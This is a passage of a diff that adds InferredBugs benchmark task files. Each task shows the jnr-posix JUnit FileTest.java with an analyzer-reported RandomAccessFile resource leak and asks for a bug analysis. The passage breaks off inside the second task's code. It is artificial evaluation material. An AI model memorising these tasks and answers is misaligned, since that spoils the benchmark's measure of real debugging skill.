+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9013/instruction.md b/inferredbugs-9013/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a7e2fd2d2562fe873354eaf83f9fdc67c8e895fe
--- /dev/null
+++ b/inferredbugs-9013/instruction.md
@@ -0,0 +1,742 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jnr-posix
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package jnr.posix;
+
+import jnr.constants.platform.Access;
+import jnr.constants.platform.Fcntl;
+import jnr.constants.platform.Errno;
+import jnr.constants.platform.OpenFlags;
+import jnr.ffi.Pointer;
+import jnr.posix.util.Platform;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+import java.io.*;
+import java.nio.ByteBuffer;
+import java.nio.channels.FileChannel;
+import java.nio.charset.Charset;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertTrue;
+
+public class FileTest {
+    private static POSIX posix;
+
+    @BeforeClass
+    public static void setUpClass() throws Exception {
+        posix = POSIXFactory.getPOSIX(new DummyPOSIXHandler(), true);
+    }
+
+    @Test
+    public void utimesTest() throws Throwable {
+        // FIXME: On Windows this is working but providing wrong numbers and therefore getting wrong results.
+        if (!Platform.IS_WINDOWS) {
+            File f = File.createTempFile("utimes", null);
+
+            int rval = posix.utimes(f.getAbsolutePath(), new long[]{800, 200}, new long[]{900, 300});
+            assertEquals("utimes did not return 0", 0, rval);
+
+            FileStat stat = posix.stat(f.getAbsolutePath());
+
+            assertEquals("atime seconds failed", 800, stat.atime());
+            assertEquals("mtime seconds failed", 900, stat.mtime());
+
+            // The nano secs part is available in other stat implementations. We really just want to verify that the
+            // nsec portion of the timeval is passed through to the POSIX call.
+            // Mac seems to fail this test sporadically.
+            if (stat instanceof NanosecondFileStat && !Platform.IS_MAC) {
+                NanosecondFileStat linuxStat = (NanosecondFileStat) stat;
+
+                assertEquals("atime useconds failed", 200000, linuxStat.aTimeNanoSecs());
+                assertEquals("mtime useconds failed", 300000, linuxStat.mTimeNanoSecs());
+            }
+
+            f.delete();
+        }
+    }
+
+    @Test
+    public void utimesDefaultValuesTest() throws Throwable {
+        if (!Platform.IS_WINDOWS) {
+            File f = File.createTempFile("utimes", null);
+
+            long oldTime = posix.stat(f.getAbsolutePath()).mtime();
+            Thread.sleep(2000);
+
+            int rval = posix.utimes(f.getAbsolutePath(), null, null);
+            assertEquals("utimes did not return 0", 0, rval);
+
+            FileStat stat = posix.stat(f.getAbsolutePath());
+
+            assertTrue("atime failed", stat.atime() > oldTime);
+            assertTrue("mtime failed", stat.mtime() > oldTime);
+
+            f.delete();
+        }
+    }
+
+    @Test
+    public void utimesPointerTest() throws Throwable {
+        if (!Platform.IS_WINDOWS) {
+            File f = File.createTempFile("utimes", null);
+
+            Pointer times = jnr.ffi.Runtime.getSystemRuntime().getMemoryManager().allocateDirect(8 * 4); // long[2][2] == 4 longs.
+            times.putLong(0, 800);
+            times.putLong(8, 200);
+            times.putLong(16, 900);
+            times.putLong(24, 300);
+
+            int rval = posix.utimes(f.getAbsolutePath(), times);
+            assertEquals("utimes did not return 0", 0, rval);
+
+            FileStat stat = posix.stat(f.getAbsolutePath());
+
+            assertEquals("atime seconds failed", 800, stat.atime());
+            assertEquals("mtime seconds failed", 900, stat.mtime());
+
+            // The nano secs part is available in other stat implementations.  We use Linux x86_64 because it's
+            // representative.  We really just want to verify that the usec portion of the timeval is passed throug
+            // to the POSIX call.
+            if (hasNanosecondPrecision(stat)) {
+                NanosecondFileStat linuxStat = (NanosecondFileStat) stat;
+
+//                assertEquals("atime useconds failed", 200000, linuxStat.aTimeNanoSecs());
+                assertEquals("mtime useconds failed", 300000, linuxStat.mTimeNanoSecs());
+            }
+
+            f.delete();
+        }
+    }
+
+    @Test
+    public void utimensatAbsolutePath() throws Throwable {
+        File file = File.createTempFile("utimensat", null);
+        utimensat(file, 0);
+    }
+
+    @Test
+    public void utimensatRelativePath() throws Throwable {
+        String path = "utimensat";
+        File file = new File(path);
+        file.createNewFile();
+        int parentFd = posix.open(".", OpenFlags.O_DIRECTORY.intValue(), 0444);
+        utimensat(file, parentFd);
+    }
+
+    @Test
+    public void futimens() throws Throwable {
+        File file = File.createTempFile("futimens", null);
+        FileStat fileStat = posix.stat(file.getPath());
+        if (!hasNanosecondPrecision(fileStat)) {
+            file.delete();
+            return;
+        }
+
+        long atimeSeconds = fileStat.atime()+1;
+        long mtimeSeconds = fileStat.mtime()-1;
+        long atimeNanoSeconds = 123456789;
+        long mtimeNanoSeconds = 135;
+        int fd = posix.open(file.getAbsolutePath(), OpenFlags.O_RDWR.intValue(), 0444);
+        posix.futimens(fd,
+                new long[] {atimeSeconds, atimeNanoSeconds},
+                new long[] {mtimeSeconds, mtimeNanoSeconds});
+        assertStatNanoSecond(file, atimeSeconds, atimeNanoSeconds, mtimeSeconds, mtimeNanoSeconds);
+    }
+
+    @Test
+    public void lutimesTest() throws Throwable {
+        // FIXME: On Windows this is working but providing wrong numbers and therefore getting wrong results.
+        if (!Platform.IS_WINDOWS) {
+            File f1 = File.createTempFile("lutimes", null);
+            File f2 = new File(f1.getParentFile(), "lutimes-link");
+            posix.symlink(f1.getAbsolutePath(), f2.getAbsolutePath());
+
+            int rval = posix.utimes(f1.getAbsolutePath(), new long[]{800, 0}, new long[]{900, 0});
+            assertEquals("utimes did not return 0", 0, rval);
+
+            rval = posix.lutimes(f2.getAbsolutePath(), new long[]{1800, 0}, new long[]{1900, 0});
+            assertEquals("lutimes did not return 0", 0, rval);
+
+            FileStat stat = posix.stat(f1.getAbsolutePath());
+            assertEquals("atime seconds failed", 800, stat.atime());
+            assertEquals("mtime seconds failed", 900, stat.mtime());
+
+            stat = posix.lstat(f2.getAbsolutePath());
+            assertEquals("atime seconds failed", 1800, stat.atime());
+            assertEquals("mtime seconds failed", 1900, stat.mtime());
+
+            f1.delete();
+            f2.delete();
+        }
+    }
+
+    @Test
+    public void futimeTest() throws Throwable {
+        if (!Platform.IS_WINDOWS) {
+            File f = File.createTempFile("jnr-posix-futime", "tmp");
+            long oldTime = posix.stat(f.getAbsolutePath()).mtime();
+            Thread.sleep(2000);
+            int fd = posix.open(f.getAbsolutePath(), OpenFlags.O_RDWR.intValue(), 0666);
+            int rval = posix.futimes(fd, null, null);
+            assertEquals("futime did not return 0", 0, rval);
+            long newTime = posix.stat(f.getAbsolutePath()).mtime();
+            f.delete();
+            assertTrue("mtime failed", newTime > oldTime);
+        }
+    }
+
+    @Test
+    public void linkTest() throws Throwable {
+        File f1 = File.createTempFile("utime", null);
+        File f2 = new File(f1.getAbsolutePath() + "link");
+        int rval = posix.link(f1.getAbsolutePath(), f2.getAbsolutePath());
+        assertEquals("link did not return 0", 0, rval);
+        assertTrue("Link was not created", f2.exists());
+        f1.delete();
+        f2.delete();
+    }
+
+    @Test
+    public void mkdirRelativeTest() throws Throwable {
+        File dir = new File("tmp");
+        int rval = posix.mkdir(dir.getPath(), 0);
+        assertEquals("mkdir did not return 0", 0, rval);
+        assertTrue("Directory was not created", dir.exists());
+        dir.delete();
+    }
+
+    @Test
+    public void mkdirAbsoluteTest() throws Throwable {
+        File dir = new File("tmp");
+        int rval = posix.mkdir(dir.getAbsolutePath(), 0);
+        assertEquals("mkdir did not return 0", 0, rval);
+        assertTrue("Directory was not created", dir.exists());
+        dir.delete();
+    }
+    
+    @Test
+    public void flockTest() throws Throwable {
+        if (!Platform.IS_WINDOWS) {
+            File tmp = File.createTempFile("flockTest", "tmp");
+            RandomAccessFile raf = new RandomAccessFile(tmp, "rw");
+            RandomAccessFile raf2 = new RandomAccessFile(tmp, "rw");
+            FileChannel fc = raf.getChannel();
+            FileChannel fc2 = raf2.getChannel();
+            FileDescriptor FD = JavaLibCHelper.getDescriptorFromChannel(fc);
+            FileDescriptor FD2 = JavaLibCHelper.getDescriptorFromChannel(fc2);
+            int fd = JavaLibCHelper.getfdFromDescriptor(FD);
+            int fd2 = JavaLibCHelper.getfdFromDescriptor(FD2);
+
+            assertEquals(0, posix.flock(fd, 1)); // LOCK_SH
+            assertEquals(0, posix.flock(fd, 8)); // LOCK_UN
+            assertEquals(0, posix.flock(fd, 2)); // LOCK_EX
+            assertEquals(-1, posix.flock(fd2, 2 | 4)); // LOCK_EX | LOCK_NB
+            assertEquals(0, posix.flock(fd, 8)); // LOCK_UN
+        }
+    }
+
+    @Test
+    public void dupTest() throws Throwable {
+        File tmp = File.createTempFile("dupTest", "tmp");
+        RandomAccessFile raf = new RandomAccessFile(tmp, "rw");
+        FileChannel fileChannel = raf.getChannel();
+        int fileDescriptor = getFdFromDescriptor(JavaLibCHelper.getDescriptorFromChannel(fileChannel));
+
+        byte[] outContent = "foo".getBytes();
+
+        FileDescriptor newFileDescriptor = toDescriptor(posix.dup(fileDescriptor));
+
+        new FileOutputStream(toDescriptor(fileDescriptor)).write(outContent);
+        raf.seek(0);
+
+        byte[] inContent = new byte[outContent.length];
+        new FileInputStream(newFileDescriptor).read(inContent, 0, 3);
+
+        assertArrayEquals(inContent, outContent);
+    }
+
+    @Test
+    public void dup2Test() throws Throwable {
+        File tmp = File.createTempFile("dupTest", "tmp");
+        RandomAccessFile raf = new RandomAccessFile(tmp, "rw");
+        int oldFd = getFdFromDescriptor(JavaLibCHelper.getDescriptorFromChannel(new RandomAccessFile(tmp, "rw").getChannel()));
+        int newFd = getFdFromDescriptor(JavaLibCHelper.getDescriptorFromChannel(raf.getChannel()));
+
+        byte[] outContent = "foo".getBytes();
+
+        // NB: Windows differs a bit from POSIX's return value.  Both will return -1 on failure, but Windows will return
+        // 0 upon success, while POSIX will return the new FD.  Since we already know what the FD will be if the call
+        // is successful, it's easy to make code that works with both forms.  But it is something to watch out for.
+        assertNotEquals(-1, posix.dup2(oldFd, newFd));
+        FileDescriptor newFileDescriptor = toDescriptor(newFd);
+
+        new FileOutputStream(toDescriptor(oldFd)).write(outContent);
+        raf.seek(0);
+
+        byte[] inContent = new byte[outContent.length];
+        new FileInputStream(newFileDescriptor).read(inContent, 0, 3);
+
+        assertArrayEquals(inContent, outContent);
+    }
+
+    @Test
+    public void fcntlDupfdTest() throws Throwable {
+        if (!Platform.IS_WINDOWS) {
+            File tmp = File.createTempFile("fcntlTest", "tmp");
+            RandomAccessFile raf = new RandomAccessFile(tmp, "rw");
+            int fd = JavaLibCHelper.getfdFromDescriptor(JavaLibCHelper.getDescriptorFromChannel(raf.getChannel()));
+
+            byte[] outContent = "foo".getBytes();
+
+            int newFd = posix.fcntl(fd, Fcntl.F_DUPFD);
+
+            new FileOutputStream(JavaLibCHelper.toFileDescriptor(fd)).write(outContent);
+            raf.seek(0);
+
+            byte[] inContent = new byte[outContent.length];
+            new FileInputStream(JavaLibCHelper.toFileDescriptor(newFd)).read(inContent, 0, 3);
+
+            assertArrayEquals(inContent, outContent);
+        }
+    }
+
+    @Test
+    public void fcntlDupfdWithArgTest() throws Throwable {
+        if (!Platform.IS_WINDOWS) {
+            File tmp = File.createTempFile("dupTest", "tmp");
+            int oldFd = JavaLibCHelper.getfdFromDescriptor(JavaLibCHelper.getDescriptorFromChannel(
+                    new RandomAccessFile(tmp, "rw").getChannel()));
+            int newFd = JavaLibCHelper.getfdFromDescriptor(JavaLibCHelper.getDescriptorFromChannel(
+                    new RandomAccessFile(tmp, "rw").getChannel()));
+
+            byte[] outContent = "foo".getBytes();
+
+            int dupFd = posix.fcntl(oldFd, Fcntl.F_DUPFD, newFd);
+
+            new FileOutputStream(JavaLibCHelper.toFileDescriptor(newFd)).write(outContent);
+
+            byte[] inContent = new byte[outContent.length];
+            new FileInputStream(JavaLibCHelper.toFileDescriptor(dupFd)).read(inContent, 0, 3);
+
+            assertTrue(dupFd > newFd);
+            assertArrayEquals(inContent, outContent);
+        }
+    }
+
+    @Test
+    public void closeTest() throws Throwable {
+        File tmp = File.createTempFile("closeTest", "tmp");
+        int fd = getFdFromDescriptor(JavaLibCHelper.getDescriptorFromChannel(new RandomAccessFile(tmp, "rw").getChannel()));
+
+        int result;
+
+        result = posix.close(fd);
+        assertEquals(0, result);
+
+        result = posix.close(fd);
+        assertEquals(-1, result);
+
+        // TODO (nirvdrum 06-May-15) We're not getting the correct errno value from Windows currently, so we need to skip this test.
+        if (!Platform.IS_WINDOWS) {
+            assertEquals(Errno.EBADF.intValue(), posix.errno());
+        }
+    }
+
+    @Test
+    public void unlinkTestNonWindows() throws Throwable {
+        if (! Platform.IS_WINDOWS) {
+            File tmp = File.createTempFile("unlinkTest", "tmp");
+            RandomAccessFile raf = new RandomAccessFile(tmp, "rw");
+
+            raf.write("hello".getBytes());
+
+            int res = posix.unlink(tmp.getCanonicalPath());
+
+            assertEquals(0, res);
+            assertFalse(tmp.exists());
+
+            raf.write("world".getBytes());
+            raf.seek(0);
+
+            byte[] actual = new byte[10];
+            raf.read(actual);
+
+            assertArrayEquals("helloworld".getBytes(), actual);
+        }
+    }
+
+    @Test
+    public void openTest() throws Throwable {
+        int fd = posix.open("pom.xml", 0, 0666);
+
+        assertNotEquals(-1, fd);
+
+        int result = posix.close(fd);
+        assertEquals(0, result);
+
+        result = posix.close(fd);
+        assertEquals(-1, result);
+    }
+
+    @Test
+    public void writeTest() throws Throwable {
+        String str = "To thine own self be true";
+        File tmp = File.createTempFile("writeTest", "tmp");
+        ByteBuffer buffer = ByteBuffer.wrap(str.getBytes());
+
+        int fd = posix.open(tmp.getAbsolutePath(), 1, 066);
+        posix.write(fd, buffer, str.length());
+        posix.close(fd);
+
+        RandomAccessFile raf = new RandomAccessFile(tmp, "rw");
+        assertEquals(raf.readLine(), new String(buffer.array()));
+        posix.unlink(tmp.getAbsolutePath());
+    }
+
+    @Test
+    public void pwriteTest() throws Throwable {
+        if (!Platform.IS_WINDOWS) {
+            String str = "Now is the winter of our discontent";
+            File tmp = File.createTempFile("pwriteTest", "tmp");
+            RandomAccessFile raf = new RandomAccessFile(tmp, "rw");
+            raf.write(str.getBytes());
+            raf.close();
+
+            String str2 = "summer";
+            ByteBuffer buffer = ByteBuffer.wrap(str2.getBytes());
+
+            int fd = posix.open(tmp.getAbsolutePath(), 1, 066);
+            posix.pwrite(fd, buffer, str2.length(), 11);
+            posix.close(fd);
+
+            raf = new RandomAccessFile(tmp, "r");
+            assertEquals(raf.readLine(), "Now is the summer of our discontent");
+            posix.unlink(tmp.getAbsolutePath());
+        }
+    }
+
+    @Test
+    public void truncateTest() throws Throwable {
+        String str = "Beware the Jabberwock, my son!";
+        File tmp = File.createTempFile("truncateTest", "tmp");
+        RandomAccessFile raf = new RandomAccessFile(tmp, "rw");
+        raf.write(str.getBytes());
+        raf.close();
+
+        int shorterLength = str.length() - 10;
+        int longerLength = shorterLength * 2;
+
+        // Truncate should make a file shorter if the new length is less than the old length.
+        posix.truncate(tmp.getAbsolutePath(), shorterLength);
+        assertEquals(shorterLength, tmp.length());
+
+        // Truncate should extend a file if the new length is greater than the old length.
+        posix.truncate(tmp.getAbsolutePath(), longerLength);
+        assertEquals(longerLength, tmp.length());
+    }
+
+    @Test
+    public void ftruncateTest() throws Throwable {
+        String str = "Beware the Jabberwock, my son!";
+        File tmp = File.createTempFile("ftruncateTest", "tmp");
+        RandomAccessFile raf = new RandomAccessFile(tmp, "rw");
+        raf.write(str.getBytes());
+        raf.close();
+
+        int fd = posix.open(tmp.getAbsolutePath(), OpenFlags.O_RDWR.intValue(), 0666);
+        posix.ftruncate(fd, 21);
+        posix.lseekLong(fd, 0, 0);
+        byte[] buf = new byte[21];
+        int read = posix.read(fd, buf, 31);
+        assertEquals(21, read);
+        assertArrayEquals(buf, "Beware the Jabberwock".getBytes());
+    }
+
+    @Test
+    public void fcntlIntTest() throws Throwable {
+        if (!Platform.IS_WINDOWS) {
+            int[] fds = new int[2];
+            int ret = posix.pipe(fds);
+            assertEquals(0, ret);
+            int flags = posix.fcntlInt(fds[0], Fcntl.F_GETFD, 0);
+            posix.fcntlInt(fds[0], Fcntl.F_SETFD, flags | 1); // FD_CLOEXEC
+            assertEquals(flags | 1, posix.fcntlInt(fds[0], Fcntl.F_GETFD, 0));
+        }
+    }
+
+    @Test
+    public void fchmodTest() throws IOException {
+        if (!Platform.IS_WINDOWS) {
+            File tmp = File.createTempFile("jnr-posix-chmod-test", "tmp");
+            int fd = posix.open(tmp.getAbsolutePath(), OpenFlags.O_RDWR.intValue(), 0600);
+
+            assertEquals("chmod: ", 0, posix.fchmod(fd, 0));
+            assertEquals("chmod: ", 0, posix.fchmod(fd, 0777));
+            tmp.delete();
+        }
+    }
+
+
+    @Test
+    public void renameTest() throws IOException {
+        File oldFile = File.createTempFile("jnr-posix-rename-test", "tmp");
+        File newFile = new File(oldFile.getParent() + File.separatorChar + "jnr-posix-rename-test-new");
+
+        assertTrue(oldFile.exists());
+        assertFalse(newFile.exists());
+
+        posix.rename(oldFile.getCanonicalPath(), newFile.getCanonicalPath());
+
+        assertFalse(oldFile.exists());
+        assertTrue(newFile.exists());
+
+        newFile.delete();
+    }
+
+    @Test
+    public void accessTest() throws IOException {
+        File tmp = File.createTempFile("jnr-posix-access-test", "tmp");
+
+        jnr.constants.platform.Access.F_OK.intValue();
+
+        // Set permissions to read-only and verify we don't have permissions to write.
+        posix.chmod(tmp.getCanonicalPath(), 0400);
+        assertEquals("access: ", -1, posix.access(tmp.getCanonicalPath(), Access.W_OK.intValue()));
+        assertEquals("access: ", 0, posix.access(tmp.getCanonicalPath(), Access.R_OK.intValue()));
+
+        // Reset the permissions to read-wrinte and verify we now have permissions to write.
+        posix.chmod(tmp.getCanonicalPath(), 0600);
+        assertEquals("access: ", 0, posix.access(tmp.getCanonicalPath(), Access.W_OK.intValue()));
+        assertEquals("access: ", 0, posix.access(tmp.getCanonicalPath(), Access.R_OK.intValue()));
+
+        // F_OK just checks the file exists and should pass.
+        assertEquals("access: ", 0, posix.access(tmp.getCanonicalPath(), Access.F_OK.intValue()));
+    }
+
+    @Test
+    public void readlinkTest() throws IOException {
+        if (!Platform.IS_WINDOWS) {
+            File file = File.createTempFile("jnr-pøsix-réådlînk-tést", "tmp");
+            File link = new File(file.getAbsolutePath() + "link");
+
+            posix.symlink(file.getAbsolutePath(), link.getAbsolutePath());
+
+            byte[] fileBytes = file.getAbsolutePath().getBytes();
+            int fileLength = fileBytes.length;
+
+            byte[] buffer = new byte[fileLength];
+
+            assertEquals(fileLength, posix.readlink(link.getAbsolutePath(), buffer, buffer.length));
+
+            assertArrayEquals(fileBytes, buffer);
+
+            link.delete();
+            file.delete();
+        }
+    }
+
+    @Test
+    public void readlinkByteBufferTest() throws IOException {
+        if (!Platform.IS_WINDOWS) {
+            File file = File.createTempFile("jnr-pøsix-réådlînk-tést", "tmp");
+            File link = new File(file.getAbsolutePath() + "link");
+
+            posix.symlink(file.getAbsolutePath(), link.getAbsolutePath());
+
+            byte[] fileBytes = file.getAbsolutePath().getBytes();
+            int fileLength = fileBytes.length;
+            ByteBuffer buffer = ByteBuffer.allocate(fileLength);
+
+            assertEquals(fileLength, posix.readlink(link.getAbsolutePath(), buffer, buffer.capacity()));
+
+            assertArrayEquals(buffer.array(), file.getAbsolutePath().getBytes());
+
+            link.delete();
+            file.delete();
+        }
+    }
+
+    @Test
+    public void readlinkPointerTest() throws IOException {
+        if (!Platform.IS_WINDOWS) {
+            File file = File.createTempFile("jnr-pøsix-réådlînk-tést", "tmp");
+            File link = new File(file.getAbsolutePath() + "link");
+
+            int bufSize = 1024;
+
+            Pointer buffer = jnr.ffi.Runtime.getSystemRuntime().getMemoryManager().allocateDirect(bufSize);
+
+            posix.symlink(file.getAbsolutePath(), link.getAbsolutePath());
+            
+            byte[] fileBytes = file.getAbsolutePath().getBytes();
+            int fileLength = fileBytes.length;
+
+            assertEquals(fileLength, posix.readlink(link.getAbsolutePath(), buffer, bufSize));
+
+            assertEquals(file.getAbsolutePath(), buffer.getString(0, fileLength, Charset.defaultCharset()));
+
+            link.delete();
+            file.delete();
+        }
+    }
+
+    @Test
+    public void mkfifoTest() throws Throwable {
+        if (!Platform.IS_WINDOWS) {
+            File tmp = File.createTempFile("mkfifoTest", "tmp");
+            tmp.deleteOnExit();
+
+            int ret = posix.mkfifo(tmp.getAbsolutePath(), 0666);
+
+            FileInputStream fis = new FileInputStream(tmp);
+            FileOutputStream fos = new FileOutputStream(tmp);
+
+            byte[] content = "hello".getBytes();
+
+            fos.write(content);
+            fis.read(content);
+
+            assertArrayEquals("hello".getBytes(), content);
+        }
+    }
+
+    @Test
+    public void lseekTest() throws Throwable {
+        if (Platform.IS_MAC) {
+            int fd = posix.open("/dev/zero", 0, 0);
+
+            // use 2^33 to ensure we're out of int range
+            long offset = (long) Math.pow(2, 33);
+            long seek = posix.lseekLong(fd, offset, 0);
+
+            assertEquals(seek, offset);
+        }
+    }
+
+    private int getFdFromDescriptor(FileDescriptor descriptor) {
+        if (Platform.IS_WINDOWS) {
+            HANDLE handle = JavaLibCHelper.gethandle(descriptor);
+            return ((WindowsLibC) posix.libc())._open_osfhandle(handle, 0);
+        } else {
+            return JavaLibCHelper.getfdFromDescriptor(descriptor);
+        }
+    }
+
+    private FileDescriptor toDescriptor(int fd) {
+        if (Platform.IS_WINDOWS) {
+            HANDLE handle = ((WindowsLibC) posix.libc())._get_osfhandle(fd);
+            return JavaLibCHelper.toFileDescriptor(handle);
+        } else {
+            return JavaLibCHelper.toFileDescriptor(fd);
+        }
+    }
+
+    private boolean hasNanosecondPrecision(FileStat fileStat) {
+        return fileStat instanceof NanosecondFileStat && !Platform.IS_MAC;
+    }
+
+    private void utimensat(File file, int parentFd) {
+        String path = file.getAbsolutePath();
+        FileStat fileStat = posix.stat(path);
+        if (!hasNanosecondPrecision(fileStat)) {
+            file.delete();
+            return;
+        }
+
+        long atimeSeconds = fileStat.atime()+2;
+        long mtimeSeconds = fileStat.mtime()-2;
+        long atimeNanoSeconds = 123456789;
+        long mtimeNanoSeconds = 135;
+        posix.utimensat(parentFd,
+                path,
+                new long[] {atimeSeconds, atimeNanoSeconds},
+                new long[] {mtimeSeconds, mtimeNanoSeconds},
+                0);
+        assertStatNanoSecond(file, atimeSeconds, atimeNanoSeconds, mtimeSeconds, mtimeNanoSeconds);
+    }
+
+    private void assertStatNanoSecond(File file, long atimeSeconds, long atimeNanoSeconds, long mtimeSeconds, long mtimeNanoSeconds) {
+        NanosecondFileStat nanosecondFileStat = (NanosecondFileStat) posix.stat(file.getPath());
+        assertEquals("Access timestamp should be updated", atimeSeconds, nanosecondFileStat.atime());
+        assertEquals("Modification timestamp should be updated", mtimeSeconds, nanosecondFileStat.mtime());
+        assertEquals("Access time precision should be in ns", atimeNanoSeconds, nanosecondFileStat.aTimeNanoSecs());
+        assertEquals("Modification time precision should be in ns", mtimeNanoSeconds, nanosecondFileStat.mTimeNanoSecs());
+        file.delete();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.RandomAccessFile` acquired to `raf` by call to `RandomAccessFile(...)` at line 287 is not released after line 302.
+**Note**: potential exception at line 294
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void FileTest.fcntlDupfdTest()
+
+### Procedure Id:
+jnr.posix.FileTest.fcntlDupfdTest():void.2d4d6ec67940c406afe88c8010a1de29
+
+### File:
+src/test/java/jnr/posix/FileTest.java
+
+### Key:
+FileTest.java|fcntlDupfdTest|RESOURCE_LEAK
+
+### Node Key:
+48815eab4c26cee962db00712b67bbd0
+
+### Hash:
+5f4ad29ca47a0aa0683ca4fc379f5358
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9014/instruction.md b/inferredbugs-9014/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..10309ffd0aeb4df80c2872986e2cf33ca4e09ce4
--- /dev/null
+++ b/inferredbugs-9014/instruction.md
@@ -0,0 +1,741 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jnr-posix
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package jnr.posix;
+
+import jnr.constants.platform.Access;
+import jnr.constants.platform.Fcntl;
+import jnr.constants.platform.Errno;
+import jnr.constants.platform.OpenFlags;
+import jnr.ffi.Pointer;
+import jnr.posix.util.Platform;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+import java.io.*;
+import java.nio.ByteBuffer;
+import java.nio.channels.FileChannel;
+import java.nio.charset.Charset;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertTrue;
+
+public class FileTest {
+    private static POSIX posix;
+
+    @BeforeClass
+    public static void setUpClass() throws Exception {
+        posix = POSIXFactory.getPOSIX(new DummyPOSIXHandler(), true);
+    }
+
+    @Test
+    public void utimesTest() throws Throwable {
+        // FIXME: On Windows this is working but providing wrong numbers and therefore getting wrong results.
+        if (!Platform.IS_WINDOWS) {
+            File f = File.createTempFile("utimes", null);
+
+            int rval = posix.utimes(f.getAbsolutePath(), new long[]{800, 200}, new long[]{900, 300});
+            assertEquals("utimes did not return 0", 0, rval);
+
+            FileStat stat = posix.stat(f.getAbsolutePath());
+
+            assertEquals("atime seconds failed", 800, stat.atime());
+            assertEquals("mtime seconds failed", 900, stat.mtime());
+
+            // The nano secs part is available in other stat implementations. We really just want to verify that the
+            // nsec portion of the timeval is passed through to the POSIX call.
+            // Mac seems to fail this test sporadically.
+            if (stat instanceof NanosecondFileStat && !Platform.IS_MAC) {
+                NanosecondFileStat linuxStat = (NanosecondFileStat) stat;
+
+                assertEquals("atime useconds failed", 200000, linuxStat.aTimeNanoSecs());
+                assertEquals("mtime useconds failed", 300000, linuxStat.mTimeNanoSecs());
+            }
+
+            f.delete();
+        }
+    }
+
+    @Test
+    public void utimesDefaultValuesTest() throws Throwable {
+        if (!Platform.IS_WINDOWS) {
+            File f = File.createTempFile("utimes", null);
+
+            long oldTime = posix.stat(f.getAbsolutePath()).mtime();
+            Thread.sleep(2000);
+
+            int rval = posix.utimes(f.getAbsolutePath(), null, null);
+            assertEquals("utimes did not return 0", 0, rval);
+
+            FileStat stat = posix.stat(f.getAbsolutePath());
+
+            assertTrue("atime failed", stat.atime() > oldTime);
+            assertTrue("mtime failed", stat.mtime() > oldTime);
+
+            f.delete();
+        }
+    }
+
+    @Test
+    public void utimesPointerTest() throws Throwable {
+        if (!Platform.IS_WINDOWS) {
+            File f = File.createTempFile("utimes", null);
+
+            Pointer times = jnr.ffi.Runtime.getSystemRuntime().getMemoryManager().allocateDirect(8 * 4); // long[2][2] == 4 longs.
+            times.putLong(0, 800);
+            times.putLong(8, 200);
+            times.putLong(16, 900);
+            times.putLong(24, 300);
+
+            int rval = posix.utimes(f.getAbsolutePath(), times);
+            assertEquals("utimes did not return 0", 0, rval);
+
+            FileStat stat = posix.stat(f.getAbsolutePath());
+
+            assertEquals("atime seconds failed", 800, stat.atime());
+            assertEquals("mtime seconds failed", 900, stat.mtime());
+
+            // The nano secs part is available in other stat implementations.  We use Linux x86_64 because it's
+            // representative.  We really just want to verify that the usec portion of the timeval is passed throug
+            // to the POSIX call.
+            if (hasNanosecondPrecision(stat)) {
+                NanosecondFileStat linuxStat = (NanosecondFileStat) stat;
+
+//                assertEquals("atime useconds failed", 200000, linuxStat.aTimeNanoSecs());
+                assertEquals("mtime useconds failed", 300000, linuxStat.mTimeNanoSecs());
+            }
+
+            f.delete();
+        }
+    }
+
+    @Test
+    public void utimensatAbsolutePath() throws Throwable {
+        File file = File.createTempFile("utimensat", null);
+        utimensat(file, 0);
+    }
+
+    @Test
+    public void utimensatRelativePath() throws Throwable {
+        String path = "utimensat";
+        File file = new File(path);
+        file.createNewFile();
+        int parentFd = posix.open(".", OpenFlags.O_DIRECTORY.intValue(), 0444);
+        utimensat(file, parentFd);
+    }
+
+    @Test
+    public void futimens() throws Throwable {
+        File file = File.createTempFile("futimens", null);
+        FileStat fileStat = posix.stat(file.getPath());
+        if (!hasNanosecondPrecision(fileStat)) {
+            file.delete();
+            return;
+        }
+
+        long atimeSeconds = fileStat.atime()+1;
+        long mtimeSeconds = fileStat.mtime()-1;
+        long atimeNanoSeconds = 123456789;
+        long mtimeNanoSeconds = 135;
+        int fd = posix.open(file.getAbsolutePath(), OpenFlags.O_RDWR.intValue(), 0444);
+        posix.futimens(fd,
+                new long[] {atimeSeconds, atimeNanoSeconds},
+                new long[] {mtimeSeconds, mtimeNanoSeconds});
